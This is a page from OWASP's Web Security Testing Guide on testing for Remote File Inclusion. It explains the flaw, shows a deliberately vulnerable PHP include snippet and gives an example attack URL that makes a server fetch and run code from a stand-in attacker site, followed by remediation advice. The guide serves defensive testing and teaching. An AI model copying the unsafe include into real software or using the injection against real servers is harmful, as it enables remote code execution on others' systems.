You're viewing the current stable version of the Web Security Testing Guide project.

OWASP

Store Donate Join

PROJECTS CHAPTERS EVENTS ABOUT

Store Donate Join

WSTG - Stable

Testing for Remote File Inclusion

Summary

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

- Code execution on the web server
- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
- Denial of Service (DoS)
- Sensitive Information Disclosure

Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

How to Test

Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a black-box testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:

```
$incfile = $_REQUEST["file"];
include($incfile.".php");
```

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code results vulnerable to this type of attack. Consider the following URL:

`http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page`

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

References

- "Remote File Inclusion"
- Wikipedia: "Remote File Inclusion"

Edit on GitHub

The OWASP® Foundation works to improve the security of software through its community-led open source software projects, hundreds of chapters worldwide, tens of thousands of members, and by hosting local and global conferences.

WSTG Contents (Stable)

0. Foreword by Eoin Keary
1. Frontispiece
2. Introduction
2.1 The OWASP Testing Project
2.2 Principles of Testing
2.3 Testing Techniques Explained
2.4 Manual Inspections and Reviews
2.5 Threat Modeling
2.6 Source Code Review
2.7 Penetration Testing
2.8 The Need for a Balanced Approach
2.9 Deriving Security Test Requirements
2.10 Security Tests Integrated in Development and Testing Workflows
2.11 Security Test Data Analysis and Reporting
3. The OWASP Testing Framework
3.1 The Web Security Testing Framework
3.2 Phase 1 Before Development Begins
3.3 Phase 2 During Definition and Design
3.4 Phase 3 During Development
3.5 Phase 4 During Deployment
3.6 Phase 5 During Maintenance and Operations
3.7 A Typical SDLC Testing Workflow
3.8 Penetration Testing Methodologies
4. Web Application Security Testing
4.0 Introduction and Objectives
4.1 Information Gathering
4.1.1 Conduct Search Engine Discovery Reconnaissance for Information Leakage
4.1.2 Fingerprint Web Server
4.1.3 Review Webserver Metafiles for Information Leakage
4.1.4 Enumerate Applications on Webserver
4.1.5 Review Webpage Content for Information Leakage
4.1.6 Identify Application Entry Points
4.1.7 Map Execution Paths Through Application
4.1.8 Fingerprint Web Application Framework
4.1.9 Fingerprint Web Application
4.1.10 Map Application Architecture
4.2 Configuration and Deployment Management Testing
4.2.1 Test Network Infrastructure Configuration
4.2.2 Test Application Platform Configuration
4.2.3 Test File Extensions Handling for Sensitive Information
4.2.4 Review Old Backup and Unreferenced Files for Sensitive Information

4.2.5 Enumerate Infrastructure and Application Admin Interfaces
4.2.6 Test HTTP Methods
4.2.7 Test HTTP Strict Transport Security
4.2.8 Test RIA Cross Domain Policy
4.2.9 Test File Permission
4.2.10 Test for Subdomain Takeover
4.2.11 Test Cloud Storage
4.3 Identity Management Testing
4.3.1 Test Role Definitions
4.3.2 Test User Registration Process
4.3.3 Test Account Provisioning Process
4.3.4 Testing for Account Enumeration and Guessable User Account
4.3.5 Testing for Weak or Unenforced Username Policy
4.4 Authentication Testing
4.4.1 Testing for Credentials Transported over an Encrypted Channel
4.4.2 Testing for Default Credentials
4.4.3 Testing for Weak Lock Out Mechanism
4.4.4 Testing for Bypassing Authentication Schema
4.4.5 Testing for Vulnerable Remember Password
4.4.6 Testing for Browser Cache Weaknesses
4.4.7 Testing for Weak Password Policy
4.4.8 Testing for Weak Security Question Answer
4.4.9 Testing for Weak Password Change or Reset Functionalities
4.4.10 Testing for Weaker Authentication in Alternative Channel
4.5 Authorization Testing
4.5.1 Testing Directory Traversal File Include
4.5.2 Testing for Bypassing Authorization Schema
4.5.3 Testing for Privilege Escalation
4.5.4 Testing for Insecure Direct Object References
4.6 Session Management Testing
4.6.1 Testing for Session Management Schema
4.6.2 Testing for Cookies Attributes
4.6.3 Testing for Session Fixation
4.6.4 Testing for Exposed Session Variables
4.6.5 Testing for Cross Site Request Forgery
4.6.6 Testing for Logout Functionality
4.6.7 Testing Session Timeout
4.6.8 Testing for Session Puzzling
4.6.9 Testing for Session Hijacking
4.7 Input Validation Testing
4.7.1 Testing for Reflected Cross Site Scripting
4.7.2 Testing for Stored Cross Site Scripting
4.7.3 Testing for HTTP Verb Tampering
4.7.4 Testing for HTTP Parameter Pollution
4.7.5 Testing for SQL Injection
4.7.5.1 Testing for Oracle
4.7.5.2 Testing for MySQL
4.7.5.3 Testing for SQL Server
4.7.5.4 Testing PostgreSQL
4.7.5.5 Testing for MS Access
4.7.5.6 Testing for NoSQL Injection
4.7.5.7 Testing for ORM Injection
4.7.5.8 Testing for Client-side
4.7.6 Testing for LDAP Injection
4.7.7 Testing for XML Injection
4.7.8 Testing for SSI Injection
4.7.9 Testing for XPath Injection
4.7.10 Testing for IMAP SMTP Injection
4.7.11 Testing for Code Injection

4.7.11.1 Testing for Local File Inclusion
4.7.11.2 Testing for Remote File Inclusion
4.7.12 Testing for Command Injection
4.7.13 Testing for Format String Injection
4.7.14 Testing for Incubated Vulnerability
4.7.15 Testing for HTTP Splitting Smuggling
4.7.16 Testing for HTTP Incoming Requests
4.7.17 Testing for Host Header Injection
4.7.18 Testing for Server-side Template Injection
4.7.19 Testing for Server-Side Request Forgery
4.8 Testing for Error Handling
4.8.1 Testing for Improper Error Handling
4.8.2 Testing for Stack Traces
4.9 Testing for Weak Cryptography
4.9.1 Testing for Weak Transport Layer Security
4.9.2 Testing for Padding Oracle
4.9.3 Testing for Sensitive Information Sent via Unencrypted Channels
4.9.4 Testing for Weak Encryption
4.10 Business Logic Testing
4.10.0 Introduction to Business Logic
4.10.1 Test Business Logic Data Validation
4.10.2 Test Ability to Forge Requests
4.10.3 Test Integrity Checks
4.10.4 Test for Process Timing
4.10.5 Test Number of Times a Function Can Be Used Limits
4.10.6 Testing for the Circumvention of Work Flows
4.10.7 Test Defenses Against Application Misuse
4.10.8 Test Upload of Unexpected File Types
4.10.9 Test Upload of Malicious Files
4.11 Client-side Testing
4.11.1 Testing for DOM-Based Cross Site Scripting
4.11.2 Testing for JavaScript Execution
4.11.3 Testing for HTML Injection
4.11.4 Testing for Client-side URL Redirect
4.11.5 Testing for CSS Injection
4.11.6 Testing for Client-side Resource Manipulation
4.11.7 Testing Cross Origin Resource Sharing
4.11.8 Testing for Cross Site Flashing
4.11.9 Testing for Clickjacking
4.11.10 Testing WebSockets
4.11.11 Testing Web Messaging
4.11.12 Testing Browser Storage
4.11.13 Testing for Cross Site Script Inclusion
4.12 API Testing
4.12.1 Testing GraphQL
5. Reporting
Appendix A. Testing Tools Resource
Appendix B. Suggested Reading
Appendix C. Fuzz Vectors
Appendix D. Encoded Injection
Appendix E. History
Appendix F. Leveraging Dev Tools

Upcoming OWASP Global Events

OWASP Global AppSec EU 2025

- May 26-30, 2025

OWASP Global AppSec USA 2025 - Washington, DC

- November 3-7, 2025

OWASP Global AppSec USA 2026 - San Francisco, CA

- November 2-6, 2026

Spotlight: Monzo

monzo

At Monzo we're building a new kind of bank. One that's built for your smartphone and designed for the way we live today. Founded in early 2015, our mission is to build the best bank account in the world. In August 2016 we became a regulated bank, and a team of more than 2,000 work from our London HQ and remotely around the world.

Corporate Supporters

blend-ed Fortify ZINAD root raxis

BIONIC equixly Cobalt BACKSLASH

Become a corporate supporter

OWASP, the OWASP logo, and Global AppSec are registered trademarks and AppSec Days, AppSec California, AppSec Cali, SnowFROC, OWASP Boston Application Security Conference, and LASCON are trademarks of the OWASP Foundation, Inc. Unless otherwise specified, all content on the site is Creative Commons Attribution-ShareAlike v4.0 and provided without warranty of service or accuracy. For more information, please refer to our General Disclaimer. OWASP does not endorse or recommend commercial products or services, allowing our community to remain vendor neutral with the collective wisdom of the best minds in software security worldwide. Copyright 2025, OWASP Foundation, Inc.

This website uses cookies to analyze our traffic and only share that information with our analytics partners.

Accept

x